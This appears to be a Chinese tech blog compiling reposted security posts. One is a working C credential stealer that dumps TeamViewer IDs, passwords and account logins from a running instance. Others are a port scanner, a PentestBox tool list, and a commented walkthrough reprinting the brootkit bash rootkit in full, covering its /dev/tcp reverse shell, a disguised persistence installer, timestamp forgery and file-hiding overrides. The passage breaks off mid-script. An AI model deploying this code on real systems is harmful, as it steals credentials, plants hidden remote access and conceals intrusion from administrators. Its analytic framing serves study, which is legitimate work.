获取运行中的TeamViewer的账号和密码

发布时间:June 10, 2015 // 分类:工作日志,运维工作,代码学习,VC/C/C++,转帖文章 // 1 Comment

Dumps TeamViewer ID,Password and account settings from a running TeamViewer instance by enumerating child windows.

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <iostream>
#pragma comment( lib, "kernel32" )
#pragma comment( lib, "user32" )
 
int status = 0;
 
BOOL CALLBACK EnumMainTVWindow(HWND hwnd, LPARAM lParam)
{
        const int BufferSize = 1024;
        char BufferContent[BufferSize] = "";
        SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent);
       
        if (status == 1)
        {
                printf("%s\n", BufferContent);
                status = 0;
        }
 
        if (strstr(BufferContent, "Allow Remote Control") != NULL)
        {
                status = 1;
                printf("TeamViewer ID: ");
        }
       
        if (strstr(BufferContent, "Please tell your partner") != NULL)
        {
                status = 1;
                printf("TeamViewer PASS: ");
        }
 
        return 1;
}
 
BOOL CALLBACK EnumAccountWindow(HWND hwnd, LPARAM lParam)
{
        const int BufferSize = 1024;
        char BufferContent[BufferSize] = "";
        SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent);
       
        if (status == 1)
        {
                printf("%s\n", BufferContent);
                status = 0;
        }
 
        if (strstr(BufferContent, "E-mail") != NULL)
        {
                status = 1;
                printf("E-mail: ");
        }
       
        if (strstr(BufferContent, "Password") != NULL)
        {
                status = 1;
                printf("Password: ");
        }
 
        return 1;
}
 
 
int main()
{
        HWND hwndTeamViewer = FindWindow(NULL, "TeamViewer");
 
        if (hwndTeamViewer)
        {
                EnumChildWindows(hwndTeamViewer, EnumMainTVWindow, 0);
        }
       
       
        HWND hwndAccount = FindWindow(NULL, "Computers & Contacts");
 
        if (hwndAccount)
        {
                EnumChildWindows(hwndAccount, EnumAccountWindow, 0);
        }
 
       
        return 0;
}
C:\tools\Projects>TeamViewer_Dump.exe
TeamViewer ID: 606 151 261
TeamViewer PASS: 3239
E-mail: hacked@account.com
Password: FooPassword123

C:\tools\Projects>

使用Python扫描端口情况

发布时间:June 8, 2015 // 分类:工作日志,代码学习,python // No Comments

# -*- coding:utf8 -*-
#!/usr/bin/python
 
import socket, time, thread
socket.setdefaulttimeout(3)
 
def socket_port(ip,port):
    """
    输入IP和端口号,扫描判断端口是否开放
    """
    try:
        if port>=65535:
            print u'端口扫描结束'
        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        result=s.connect_ex((ip,port))
        if result==0:
            lock.acquire()
            print  ip,u':',port,u'端口开放'
            lock.release()
        s.close()
    except:
        print u'端口扫描异常'
 
def ip_scan(ip):
    """
    输入IP,扫描IP的0-65534端口情况
    """
    try:
        print u'开始扫描 %s' % ip
        start_time=time.time()
        for i in range(0,65534):
            thread.start_new_thread(socket_port,(ip,int(i)))
        print u'扫描端口完成,总共用时 :%.2f' %(time.time()-start_time)
        raw_input("Press Enter to Exit")
    except:
        print u'扫描ip出错'
         
 
if __name__=='__main__':
    url=raw_input('Input the ip you want to scan:\n')
    lock=thread.allocate_lock()
    ip_scan(url)

PentestBox:一个基于Windows系统的渗透测试平台

发布时间:June 7, 2015 // 分类:工作日志,windows,转帖文章 // No Comments

Welcome to PentestBox Tools List Website!
Here you will find list of the tools which are inside PentestBox and how to use them. 
You can see list of tools of particular category using the left sidebar.

Suppose you want to use SQLMap, you can find it's description below in Web Application Scanner Section and you will find something like given below

  cmd.exe

C:\Users\Aditya Agrawal\Desktop

$sqlmap

The console above with sqlmap in it tells that if you need to use SQLmap then sqlmap is the alias for it. If you are not aware with the tool and it's functions then type like sqlmap -h on console, it will display all possible functions of that tool , sqlmap in our case.

 

To keep everything in short, below are only aliases of the respective tool. 
I Hope you will Enjoy using PentestBox :)

Web Vulnerability Scanners

  • Burp Suite - Burp Suite is an integrated platform for performing security testing of web applications. Its various tools work seamlessly together to support the entire testing process, from initial mapping and analysis of an application's attack surface, through to finding and exploiting security vulnerabilities. 
    Author: PortsWigger
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $burp

  • Commix - Commix (short for [comm]and [i]njection e[x]ploiter) has a simple environment and it can be used, from web developers, penetration testers or even security researchers to test web applications with the view to find bugs, errors or vulnerabilities related to command injection attacks. 
    Copyright (c) 2015 Anastasios Stasinopoulos (@ancst)
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $commix

  • fimap - fimap is a little python tool which can find, prepare, audit, exploit and even google automaticly for local and remote file inclusion bugs in webapps. fimap should be something like sqlmap just for LFI/RFI bugs instead of sql injection. It's currently under heavy development but it's usable. 
    Author: Iman Karim 
    License: GPLv2
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $fimap

  • Grabber - Grabber is a web application scanner. Basically it detects some kind of vulnerabilities in your website. Grabber is simple, not fast but portable and really adaptable. This software is designed to scan small websites such as personals, forums etc. absolutely not big application: it would take too long time and flood your network. 
    Author: Romain Gaucher 
    License: BSD
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $grabber

  • Golismero - GoLismero is an open source framework for security testing. It's currently geared towards web security, but it can easily be expanded to other kinds of scans.
    License: GPLv2 
    Author: Daniel García , Mario Vilas, Raúl Requero 
    License: GPLv2
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $golismero

      cmd.exe

    C:\PentestBox\bin\WebApplications\golismero (master)

    $golismero.bat scan pentestbox.com

  • IronWasp - Find security issues on your website automatically using IronWASP, one of the world's best web security scanners. Here are some reasons why IronWASP is great:
    • It's Free and Open source
    • GUI based and very easy to use, no security expertise required
    • Powerful and effective scanning engine
    • Supports recording Login sequence
    • Checks for over 25 different kinds of well known web vulnerabilities
    • False Negatives detection suppport
    • Industry leading built-in scripting engine that supports Python and Ruby

    Author: Lavakumar Kuppan
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $ironwasp

  • jSQL - jSQL Injection is a lightweight application used to find database information from a distant server. jSQL is free, open source and cross-platform (Windows, Linux, Mac OS X, Solaris). 
    Author: ron190 
    License: GPLv3
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $jSQL

  • Nikto - Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 6700 potentially dangerous files/programs, checks for outdated versions of over 1250 servers, and version specific problems on over 270 servers. 
    Author: Cirt.net 
    License: GPLv3
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $nikto

  • PadBuster - Automated script for performing Padding Oracle attacks. 
    Author: Brian Holyfield, Gotham Digital Science 
    License: Reciprocal Public License 1.5
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $padbuster

  • SqlMap - sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections. 
    Author: Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar 
    License: GPLv2
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $sqlmap

  • Vega - Vega is a free and open source scanner and testing platform to test the security of web applications. Vega can help you find and validate SQL Injection, Cross-Site Scripting (XSS), inadvertently disclosed sensitive information, and other vulnerabilities. It is written in Java, GUI based, and runs on Linux, OS X, and Windows. 
    Author: Subgraph 
    License: Eclipse Public License 1.0
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $vega

  • Wpscan - WPScan is a black box WordPress vulnerability scanner that can be used to scan remote WordPress installations to find security issues. 
    Author: The WPScan Team 
    License: WPScan Public Source License
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $wpscan

  • OWASP Xenotix XSS Exploit FrameWork - OWASP Xenotix XSS Exploit Framework is an advanced Cross Site Scripting (XSS) vulnerability detection and exploitation framework. Xenotix provides Zero False Positive XSS Detection by performing the Scan within the browser engines where in real world, payloads get reflected. Xenotix Scanner Module is incorporated with 3 intelligent fuzzers to reduce the scan time and produce better results. If you really don't like the tool logic, then leverage the power of Xenotix API to make the tool work like you wanted it to be. It is claimed to have the world’s 2nd largest XSS Payloads of about 4800+ distinctive XSS Payloads. It is incorporated with a feature rich Information Gathering module for target Reconnaissance. The Exploit Framework includes real world offensive XSS exploitation modules for Penetration Testing and Proof of Concept creation. Say no to alert pop-ups in PoC. Pen testers can now create appealing Proof of Concepts within few clicks. 
    Author: Ajin Abraham 
    License: Creative Commons Attribution-ShareAlike 3.0
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $xenotix

  • Yasuo - Yasuo is a ruby script that scans for vulnerable 3rd-party web applications. While working on a network security assessment (internal, external, redteam gigs etc.), we often come across vulnerable 3rd-party web applications or web front-ends that allow us to compromise the remote server by exploiting publicly known vulnerabilities. Some of the common & favorite applications are Apache Tomcat administrative interface, JBoss jmx-console, Hudson Jenkins and so on. 
    License: GPLv3
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $yasuo

  • Zaproxy - The OWASP Zed Attack Proxy (ZAP) is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing as well as being a useful addition to an experienced pen testers toolbox. 
    Author: OWASP.org

    There is some integration issue with Zaproxy and PentestBox. So you have to start it manually by opening zap.bat file inPentestBox_Directory/bin/WebApplications/ZAP_2.4.0/.We will surely try to fix it sooner.

Web Applications Proxies

  • Burp Suite - Burp Suite is an integrated platform for performing security testing of web applications. Its various tools work seamlessly together to support the entire testing process, from initial mapping and analysis of an application's attack surface, through to finding and exploiting security vulnerabilities. 
    Author: Portswigger
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $burp

  • Zaproxy - The OWASP Zed Attack Proxy (ZAP) is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing as well as being a useful addition to an experienced pen testers toolbox. 
    Author: OWASP.org

    There is some integration issue with Zaproxy and PentestBox. So you have to start it manually by opening zap.bat file inPentestBox_Directory/bin/WebApplications/ZAP_2.4.0/.We will surely try to fix it sooner.

Web Crawlers

  • Dir Buster - DirBuster is a multi threaded java application designed to brute force directories and files names on web/application servers. 
    Author: OWASP.org 
    License: Apache 2.0
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $dirbuster

  • Burp Suite - Burp Suite is an integrated platform for performing security testing of web applications. Its various tools work seamlessly together to support the entire testing process, from initial mapping and analysis of an application's attack surface, through to finding and exploiting security vulnerabilities. 
    Author: Portswigger
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $burp

关于文字会重叠的问题。提供方式

 

brootkit: 一个shell脚本写的后门

发布时间:June 7, 2015 // 分类:工作日志,运维工作,linux,代码学习,转帖文章 // 1 Comment

今晚在吃饭呢, XX给我发来一条消息, 让我看看brootkit, 看看这个东西的兼容性怎样. 然后我把每个文件观察了一下, 发现它最核心的功能就是一个反弹shell, 利用了bash的可以创建tcp连接的特性. 其它的脚本除了brootkit.sh之外, 基本就是为了更加适合小白去使用而写的, 不过brootkit.sh的主要功能就是根据rootkit的配置文件隐藏这一整套的脚本和配置文件. 兼容性不怎样, 因为很可能没有bash这个程序.

打开连接看了一下描述, 是这样的, 它是一个bash脚本写的rootkit工具.

它可以做这些事情

more hidable ability against admintrator or hids.
su passwd thief.
hide file and directorys.
hide process.
hide network connections.
connect backdoor.
muilt thread port scanner.
http download.
好吧, 先checkout出来

MacOS:tmp cc$ svn co https://github.com/cloudsec/brootkit
A    brootkit/branches
A    brootkit/trunk
A    brootkit/trunk/.bdrc
A    brootkit/trunk/README
A    brootkit/trunk/README.md
A    brootkit/trunk/bashbd.sh
A    brootkit/trunk/br.conf
A    brootkit/trunk/br_config.sh
A    brootkit/trunk/brdaemon.sh
A    brootkit/trunk/brget.sh
A    brootkit/trunk/brootkit.sh
A    brootkit/trunk/brscan.sh
A    brootkit/trunk/install.sh
A    brootkit/trunk/uninstall.sh
Checked out revision 35.
MacOS:tmp cc$

可以看到, 有一个配置文件, 还有8个sh脚本, 根据README的描述, 应该是bash脚本

一个个脚本来看, 首先看bashbd.sh, 我给加上注释了

#!/bin/bash

BR_ROOTKIT_PATH="/usr/include/..."

. $BR_ROOTKIT_PATH/br_config.sh

function br_connect_backdoor()
{
    local target_ip=$br_remote_host
    local target_port=$br_remote_port
    local sleep_time=$br_sleep_time

    while [ 1 ]
    do  
        MAX_ROW_NUM=`stty size|cut -d " " -f 1`
        MAX_COL_NUM=`stty size|cut -d " " -f 2`
        {
        PS1='[\A j\j \u@\h:t\l \w]\$';export PS1
        exec 9<> /dev/tcp/$target_ip/$target_port # 这一步需要bash支持, 就是把9号文件描述符打开并重定向到某个ip的某个端口.
        [ $? -ne 0 ] && exit 0 || exec 0<&9;exec 1>&9 2>&1 # 检查文件描述符是否打开成功, 如果失败则退出, 否则把当前shell的标准输入和标准输出以及出错重定向到文件描述符
        if type python >/dev/null;then # 如果有python则用python去调用bash获取反弹shell
            export MAX_ROW_NUM MAX_COL_NUM
            python -c 'import pty; pty.spawn("/bin/bash")'
        else
            /bin/bash --rcfile $BR_ROOTKIT_PATH/.bdrc --noprofile -i # 如果没有python就执行bash, 其实这里是执行任意shell都可以的
        fi
        }&
        wait

        sleep $((RANDOM%sleep_time+sleep_time))
    done
}

br_load_config $BR_ROOTKIT_PATH/br.conf
br_connect_backdoor

从man手册可以知道那个rcfile选项的意思是这样的

--rcfile file
Execute commands from file instead of the standard personal initialization file ~/.bashrc if the shell is interactive (see INVOCATION below).

而那个.bdrc文件只是打印一个欢迎字符串而已

#!/bin/bash

echo -e "\033[31m\t\t\t\twelcome to brootkit\033[0m\033[32m"

br.conf里面定义了一些需要隐藏的文件和进程, 还有反弹shell的目标ip和端口

#brootkit config file.
#
HIDE_PORT       8080,8899
HIDE_FILE       br.conf,bashbd.sh,brootkit,.bdrc,brdaemon
HIDE_PROC       bashbd,brootkit,pty.spawn,brdaemon
REMOTE_HOST     localhost
REMOTE_PORT     8080
SLEEP_TIME      60

看一下br_config.sh, 它定义了3个函数, 以及许多数组变量, 用来载入和显示配置文件的参数的

#!/bin/bash

declare -a br_hide_port
declare -a br_hide_file
declare -a br_hide_proc
declare -a br_remote_host
declare -a br_remote_port
declare br_sleep_time

function br_load_config()
{
        local arg1 arg2 line

        while read line
        do
                [ "${line:0:1}" == "#" -a -z "$line" ] && continue

                arg1=`echo $line | cut -d " " -f 1`
                arg2=`echo $line | cut -d " " -f 2`

                case $arg1 in
                        "HIDE_PORT")
                                br_hide_port=$arg2;;
                        "HIDE_FILE")
                                br_hide_file=$arg2;;
                        "HIDE_PROC")
                                br_hide_proc=$arg2;;
                        "REMOTE_HOST")
                                br_remote_host=$arg2;;
                        "REMOTE_PORT")
                                br_remote_port=$arg2;;
                        "SLEEP_TIME")
                                br_sleep_time=$arg2;;
                esac
        done < $1
}

function display_array()
{
    declare -a arg_tmp=$1
    local arg old_ifs

    old_ifs=$IFS; IFS=","
    for arg in ${arg_tmp[@]}
    do
        echo $arg
    done
    IFS=$old_ifs
}

function br_display_config()
{
        echo -e "HIDE_PORT:"
    display_array $br_hide_port
        echo -e "HIDE_FILE:"
    display_array $br_hide_file
        echo -e "HIDE_PROC:"
    display_array $br_hide_proc
        echo -e "REMOTE_HOST:"
    display_array $br_remote_host
        echo -e "REMOTE_PORT:"
    display_array $br_remote_port
        echo -e "SLEEP_TIME:"
    echo $br_sleep_time
}

根据man手册, declare -a的意思是声明一个数组

An array is created automatically if any variable is assigned to using
the syntax name[subscript]=value. The subscript is treated as an
arithmetic expression that must evaluate to a number greater than or
equal to zero. To explicitly declare an array, use declare -a name
(see SHELL BUILTIN COMMANDS below). declare -a name[subscript] is also
accepted; the subscript is ignored. Attributes may be specified for an
array variable using the declare and readonly builtins. Each attribute
applies to all members of an array.

这是brget.sh的内容, 用bash些的一个发送get请求的脚本, 用到了bash的特性, 就是发起tcp连接并且打开文件描述符连接到这个tcp连接

#!/bin/bash

declare remote_host
declare remote_port
declare remote_file
declare remote_file_len

function sock_read()
{
    local line tmp

    read -u 9 -t 5 line
    if ! echo $line|grep -e "200 OK" >/dev/null; then
        echo $line
        rm -f $remote_file
        socket_close
        exit
    else
        echo "response 200 ok."
    fi

    while read -u 9 -t 5 line
    do
        if [ ${#line} -eq 1 ]; then
            break
        fi

        tmp=`echo $line|cut -d " " -f 1`
        if [ "$tmp" == "Content-Length:" ]; then
            remote_file_len=`echo $line|cut -d " " -f 2`
        fi
    done

    echo "length: $remote_file_len"
    while read -u 9 -t 5 line
    do
        echo -e "$line" >>$remote_file
    done
}

function sock_write()
{
    local buf

    buf="GET /$3 http/1.0\r\nHost: $1:$2\r\n"
    echo -e $buf >&9
    [ $? -eq 0 ] && echo "send http request ok." || echo "send http request failed."
}

function socket_create()
{
    exec 9<> /dev/tcp/$1/$2
    [ $? -eq 0 ] && echo "connect to $1:$2 ok." || echo "connect to $1:$2 failed."
}

function socket_close()
{
    exec >&9-
    [ $? -ne 0 ] && echo "close socket failed."
}

function parse_url()
{
    local url=$1

    url=${url#http://}
    remote_file=${url#*/}
    remote_host=`echo $url | awk -F '/' '{print $1}'`
    remote_port=`echo $remote_host | awk -F ':' '{print $2}'`
    remote_host=`echo $remote_host | awk -F ':' '{print $1}'`

    [ "$remote_port" == "" ] && remote_port=80
}

function file_init()
{
    [ -f $remote_file ] && rm -f $remote_file || touch $remote_file
}

function display_start()
{
    local tmp

    tmp=`date +'%F %T'` 
    tmp="--$tmp-- $1"
    echo -e $tmp
}

function display_finsh()
{
    local tmp

    tmp=`date +'%F %T'` 
    tmp="\n--$tmp-- - $remote_file saved $remote_file_len"
    echo -e "$tmp"
}

function wget_usage()
{
    echo -e "$0 <url>\n"
    echo "exp:"
    echo "$0 http://www.baidu.com/index.html"
    echo "$0 http://www.baidu.com:80/index.html"
}

function main()
{
    if [ $# -eq 0 ]; then
        wget_usage $1
        exit
    fi

    parse_url $@

    file_init
    display_start $1
    socket_create $remote_host $remote_port
    sock_write $remote_host $remote_port $remote_file
    sock_read
    display_finsh
    socket_close
}

main $@

用起来就像这样

MacOS:trunk cc$ bash brget.sh http://g.cn
--2015-01-20 22:33:20-- http://g.cn
connect to g.cn:80 ok.
send http request ok.
HTTP/1.0 400 Bad Request
MacOS:trunk cc$

brscan.sh, 看名字就知道了, 是一个端口扫描的东西, 看代码, 也用到了bash的发起tcp连接的特性

#!/bin/bash

declare br_remote_host="localhost"
declare -a br_ports
declare -a br_open_ports
declare br_port_num=0
declare br_curr_port_num=0
declare br_open_port_num=0
declare br_thread_num=0
declare br_timeout=2
declare br_logfile="brscan.log"
declare total_run_time
declare max_row_num

declare -a playx=('/' '|' '\\' '-')
declare playx_len=4

declare max_col_num=64
declare base_row=0
declare base_col=1
declare cur_col=2
declare total_port=10
declare cur_port=0

function br_run_play()
{
        local i x y tmp_col

        tmp_col=$((br_curr_port_num * max_col_num / br_port_num))

        i=$((max_row_num+1))
        [ $br_thread_num -gt $i ] && x=$i || x=$((br_thread_num+4))

        for ((i = 1; i < $tmp_col; i++))
        do
                y=$((base_col+i))
                [ $y -gt $max_col_num ] && break
                echo -ne "\033[${x};${y}H>\033[?25l"
        done
}

function br_play_init()
{
        local x y i

        i=$((max_row_num+1))
        [ $br_thread_num -gt $i ] && x=$i || x=$((br_thread_num+4))

        echo -ne "\033[${x};${base_col}H\033[33m[\033[0m"

        y=$((max_col_num+1))
        echo -ne "\033[${x};${y}H\033[33m]\033[0m"
}

function compute_run_time()
{
        local day hour min rtime

        day=$(($1/3600/24))
        hour=$(($1/3600))
        min=$(($1/60))

        if [ $min -eq 0 ]; then
                sec=$(($1%60))
        total_run_time="$sec s"
        else
                if [ $hour -eq 0 ]; then
                        sec=$(($1%60))
                        total_run_time="$min m $sec s"
                else
                        if [ $day -eq 0 ]; then
                                tmp=$(($1%3600))
                                min=$(($tmp/60))
                                sec=$(($tmp%60))
                                total_run_time="$hour h $min m $sec s"
                        else
                                # 86400 = 3600 * 24
                                tmp=$(($1%86400))
                                hour=$(($tmp/3600))
                                tmp1=$(($tmp%3600))
                                min=$(($tmp1/60))
                                sec=$(($tmp1%60))
                                total_run_time="$day d $hour h $min m $sec s"
                        fi


                fi
        fi
}

function get_run_time()
{
        local run_count local_hz run_time
    local start_time curr_time

    if [ -d "/proc/$1" ]; then
            run_count=`cat /proc/$1/stat | cut -d " " -f 22`
    else
        return 0
    fi

        local_hz=`getconf CLK_TCK`
        start_time=$(($run_count/$local_hz))

        curr_time=`cat /proc/uptime | cut -d " " -f 1 | cut -d "." -f 1`
        run_time=$((curr_time-start_time))

    return $run_time
}

function br_show_open_ports()
{
    local x y i

    get_run_time $$
    run_time=$?

    compute_run_time $run_time

    i=$((max_row_num+1))
    [ $br_thread_num -gt $i ] && x=$i || x=$((br_thread_num+4))

    y=$((max_col_num+3))
    printf "\033[${x};${y}H\033[32;1m %5d/%-5d\t$total_run_time\033[0m" \
        $br_curr_port_num $br_port_num

    x=$((x+2)); y=1
    printf "\033[${x};${y}H\033[32;1m%s: ${br_open_ports[*]}\033[0m" \
        $br_remote_host 
}

# $1 => remote host
# $2 => remote port
# $3 => thread_num
function thread_scan()
{
    local tport pid pidfile sock_fd
    local i j k m=0 run_time x

    mkdir -p .scan

    for ((i = 0; i < $3; i++))
    do
        {
        let "sock_fd=$2+$i"
        let "j=$2+$i+3"
        /bin/bash -c "exec $j<> /dev/tcp/$1/${br_ports[$sock_fd]}" 2>${br_ports[$sock_fd]}
        }&
        let "k=$2+$i"
        x=$((m+3))
        if [ $x -ge $max_row_num ]; then
             m=0;x=3
        else
            ((m++))
        fi
        printf "\033[${x};1H\033[33mthread<%-5d>\t\t--\t\tpid <%-5d>\t-->\t%-5d\033[?25l" \
            $i $! ${br_ports[$k]}
        echo ${br_ports[$k]} > ".scan/$!"
        [ $br_curr_port_num -ge $br_port_num ] && break || ((br_curr_port_num++))
    done

    sleep $br_timeout

    exec 2>&-
        for pid in `jobs -p`
        do
        get_run_time $pid
        run_time=$?
        [ $run_time -eq 0 ] && continue

                if [ $run_time -ge $br_timeout ]; then
                        kill -9 $pid >/dev/null 2>&1
            rm -f ".scan/$pid"
                fi
        done

    for ((i = 0; i < $3; i++))
    do
        let "sock_fd=$2+$i"
                if [ ! -s ${br_ports[$sock_fd]} ]; then
            for pid_file in `ls .scan`
            do
                tport=`cat ".scan/$pid_file"`
                if [ $tport -eq ${br_ports[$sock_fd]} ]; then
                    br_open_ports[$br_open_port_num]=${br_ports[$sock_fd]}
                    ((br_open_port_num++))
                fi
            done
                fi

        rm -f ${br_ports[$sock_fd]}
    done

    br_run_play
    br_show_open_ports
    rm -fr .scan
}

# $1 => remote host
# $2 => thread_num
function br_scan_port()
{
    local i

    for ((i = 0; i < $br_port_num; i+=$br_thread_num))
    do
        thread_scan $br_remote_host $i $br_thread_num
    done
}

function br_show_ports()
{
    local i

    for ((i = 0; i < $br_port_num; i++))
    do
        echo ${br_ports[$i]}
    done
}

function parse_port()
{
    local start_port end_port port

    start_port=`echo $1 | cut -d "-" -f 1`
    end_port=`echo $1 | cut -d "-" -f 2`

    for ((port=$start_port; port <= $end_port; port++))
    do
        br_ports[$br_port_num]=$port
        ((br_port_num++))
    done
    ((br_port_num--))
}

function br_parse_port()
{
    declare -a ports
    local tmp_ifs port

    tmp_ifs=$IFS; IFS=','; ports=$1

    for port in ${ports[@]}
    do
        if echo $port|grep -e ".*-.*" >/dev/null; then
            parse_port $port
        else
            br_ports[$br_port_num]=$port
            ((br_port_num++))
        fi
    done
    IFS=$tmp_ifs
}

function br_show_arg()
{
    echo -ne "\033[1;1H"
    echo -ne "\033[31;1mhost: $br_remote_host | total ports: $br_port_num | thread num: $br_thread_num "
    echo -e "timeout: $br_timeout | logfile: $br_logfile\n\033[0m"
}

function br_scan_init()
{
    echo -ne "\033[2J"
        MAX_ROW_NUM=`stty size|cut -d " " -f 1`
        MAX_COL_NUM=`stty size|cut -d " " -f 2`
    max_row_num=$((MAX_ROW_NUM-5))
}

function br_scan_exit()
{
    echo -e "\033[?25h"
}

function br_usage()
{
    echo -e "$1 <-p> [-n|-t|-o|-h] <remote_host>\n"
    echo -e "option:"
    echo -e "-p\t\tports, pattern: port1,port2,port3-port7,portn..."
    echo -e "-n\t\tthread num, defalut is 10"
    echo -e "-t\t\ttimeout, default is 30s"
    echo -e "-o\t\tresults write into log file, default is brscan.log"
    echo -e "-h\t\thelp information."
    echo -e "\nexp:"
    echo -e "$1 -p 21,22,23-25,80,135-139,8080 -t 20 www.cloud-sec.org"
    echo -e "$1 -p 1-65525 -n 200 -t 20 www.cloud-sec.org"
}

function main()
{
    if [ $# -eq 0 ]; then
        br_usage $0
        exit 0
    fi

    while getopts "p:n:t:o:h" arg
    do
    case $arg in
        p)
            br_parse_port $OPTARG ;;
        n)
            br_thread_num=$OPTARG ;;
        t)
            br_timeout=$OPTARG ;;
        o)
            br_logfile=$OPTARG ;;
        h)
            br_usage $0
            exit 0
            ;;
        ?)
            echo "unkown arguments."
            exit 1
            ;;
        esac
    done

    shift $((OPTIND-1))
    br_remote_host=$@

    [ $br_port_num -lt $br_thread_num ] && br_thread_num=$br_port_num

    #br_show_ports
    br_scan_init
    br_play_init
    br_show_arg
    br_scan_port
    br_scan_exit
}

main $@

brdaemon.sh是一个把bashbd.sh放后台执行的一个脚本

#!/bin/bash

BR_ROOTKIT_PATH="/usr/include/..."

function br_hookhup()
{
        :
}

function br_daemon()
{
    if ! type nohup >/dev/null; then
                nohup $BR_ROOTKIT_PATH/bashbd.sh > /dev/null 2>&1
                [ $? -eq 1 ] && exit
        else
                trap br_hookhup SIGHUP
                $BR_ROOTKIT_PATH/bashbd.sh > /dev/null 2>&1 &
                [ $? -eq 1 ] && exit
        fi
}

br_daemon

install.sh脚本就是

#!/bin/bash

BR_ROOTKIT_PATH="/usr/include/..."

function br_rootkit()
{
    cp brootkit.sh /etc/profile.d/emacs.sh # 把rootkit脚本拷贝到指定目录, 每次打开一个登录shell的时候都会执行这个脚本
    touch -r /etc/profile.d/vim.sh /etc/profile.d/emacs.sh # 用vim.sh的时间戳来修饰emacs.sh
}

function br_hookhup()
{
    :
}

function main()
{
    mkdir -p $BR_ROOTKIT_PATH -m 0777 # 创建文件夹来存放所有文件
    [ $? -eq 1 ] && exit && echo "mkdir $BR_ROOTKIT_PATH failed."

    cp brootkit.sh br.conf br_config.sh bashbd.sh brscan.sh $BR_ROOTKIT_PATH
    [ $? -eq 1 ] && exit && echo "copy brootkit failed."

    cp brdaemon.sh /etc/rc.d/init.d/brdaemon # 复制控制脚本到系统存放控制脚本的目录
    ln -s /etc/rc.d/init.d/brdaemon /etc/rc.d/rc3.d/S10brdaemon # 在运行级别3的话就启动脚本, 适用Red Hat系列Linux
    [ $? -eq 1 ] && exit && echo "copy brdaemon failed."

    chmod 777 $BR_ROOTKIT_PATH

    if ! type nohup >/dev/null; then
        nohup $BR_ROOTKIT_PATH/bashbd.sh > /dev/null 2>&1
        [ $? -eq 1 ] && exit && echo "install backdoor failed."
    else
        trap br_hookhup SIGHUP
        $BR_ROOTKIT_PATH/bashbd.sh > /dev/null 2>&1 &
        [ $? -eq 1 ] && exit && echo "install backdoor failed."
    fi

    br_rootkit
    [ $? -eq 1 ] && exit && echo "install brootkit failed." || \
        echo "install brootkit successful."
}

main

根据man手册, touch -r的意思如下

-r Use the access and modifications times from the specified file instead of the current time of day.
好了, 到了最后一个脚本, 这个脚本的主要功能就是, 每次用户登录的时候就执行, 它会替换系统命令, 根据配置文件把相关的文件给隐藏掉, 就是这样

#!/bin/bash
# Lightweight rootkit implemented by bash shell scripts v0.01
#
# by wzt 2015   http://www.cloud-sec.org
#

declare -r builtin
declare -r declare
declare -r set
declare -r fake_unset
declare -r type
declare -r typeset

unalias ls >/dev/null 2>&1

BR_ROOTKIT_PATH="/usr/include/..."

function abcdmagic()
{
    :
}

function builtin()
{
    local fake_a fake_b

    unset command
    case $1 in 
        "declare"|"set"|"unset"|"command"|"type"|"typeset")
            fake_a="$(command builtin $1 $2)"
            if [ $2 == " " ];then
                fake_b=${fake_a/br_hide_file\=*/}
            else
                fake_b=${fake_a/\/bin\/ls?()*/}
            fi
            echo -n "$fake_b"
            reset_command
            return ;;
        "builtin")
            echo "bash: builtin: builtin: syntax error, bash($BASH_VERSION) is not support."
            reset_command
            return ;;
        *)
            command builtin $1 $2
            reset_command
            ;;
    esac
}

function declare()
{
    local fake_a fake_b

    unset command
    case $1 in 
        "")
            fake_a="$(command declare $1 $2)"
            fake_b=${fake_a/br_hide_file\=*/}
            echo -n "$fake_b"
            reset_command
            return ;;
        "-f"|"-F")
            fake_a="$(command declare $1 $2)"
            fake_b=${fake_a/\/bin\/ls?()*/}
            echo -n "$fake_b"
            reset_command
            return ;;
        *)
            command declare $1 $2
            reset_command
            return ;;
    esac
}

function typeset()
{
    local fake_a fake_b

    unset command
    case $1 in
        ""|"-f"|"-F")
            fake_a="$(command declare $1 $2)"
            fake_b=${fake_a/br_hide_file\=*/}
            echo -n "$fake_b"
            reset_command
            return ;;
        *)
            command typeset $1 $2
            reset_command
            return ;;
    esac
}

function type()
{
    case $1 in
        "builtin"|"declare"|"set"|"unset"|"type"|"typeset")
            echo "$1 is a shell builtin"
            return ;;
        "dir")
            echo "dir is /usr/bin/dir"
            return ;;
        "ls")
            echo "ls is aliased to ls --color=tty"
            return ;;
        "ps")
            echo "ps is /bin/ps"
            return ;;
        "netstat")
            echo "netstat is hashed (/bin/netstat)"
            return ;;
        "/bin/ls"|"/usr/bin/dir"|"/bin/ps"|"/bin/netstat")
            echo "$1 is $1"
            return ;;
        *)
            unset command
            command type $1 $2
